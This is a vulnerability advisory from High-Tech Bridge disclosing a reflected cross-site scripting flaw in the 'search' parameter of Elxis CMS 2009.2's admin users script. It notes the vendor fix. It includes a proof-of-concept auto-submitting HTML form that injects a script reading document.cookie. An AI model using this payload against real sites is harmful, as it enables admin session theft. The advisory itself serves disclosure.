Vulnerability ID: HTB22614 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_elxis_cms.html Product: Elxis CMS Vendor: Elxis Team ( http://www.elxis.org/ ) Vulnerable Version: 2009.2 electra rev2631 and probably prior versions Vendor Notification: 20 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "administrator/components/com_users/admin.users.php" script to properly sanitize user-supplied input in "search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/administrator/index2.php"; method="post" name="main" > <input type="hidden" name="search" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="filter_logged" value="0" /> <input type="hidden" name="filter_enabled" value="-1" /> <input type="hidden" name="filter_type" value="Super Administrator" /> <input type="hidden" name="filter_expired" value="-1" /> <input type="hidden" name="limit" value="20" /> <input type="hidden" name="limitstart" value="0" /> <input type="hidden" name="option" value="com_users" /> <input type="hidden" name="task" value="" /> <input type="hidden" name="boxchecked" value="0" /> <input type="hidden" name="hidemainmenu" value="0" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
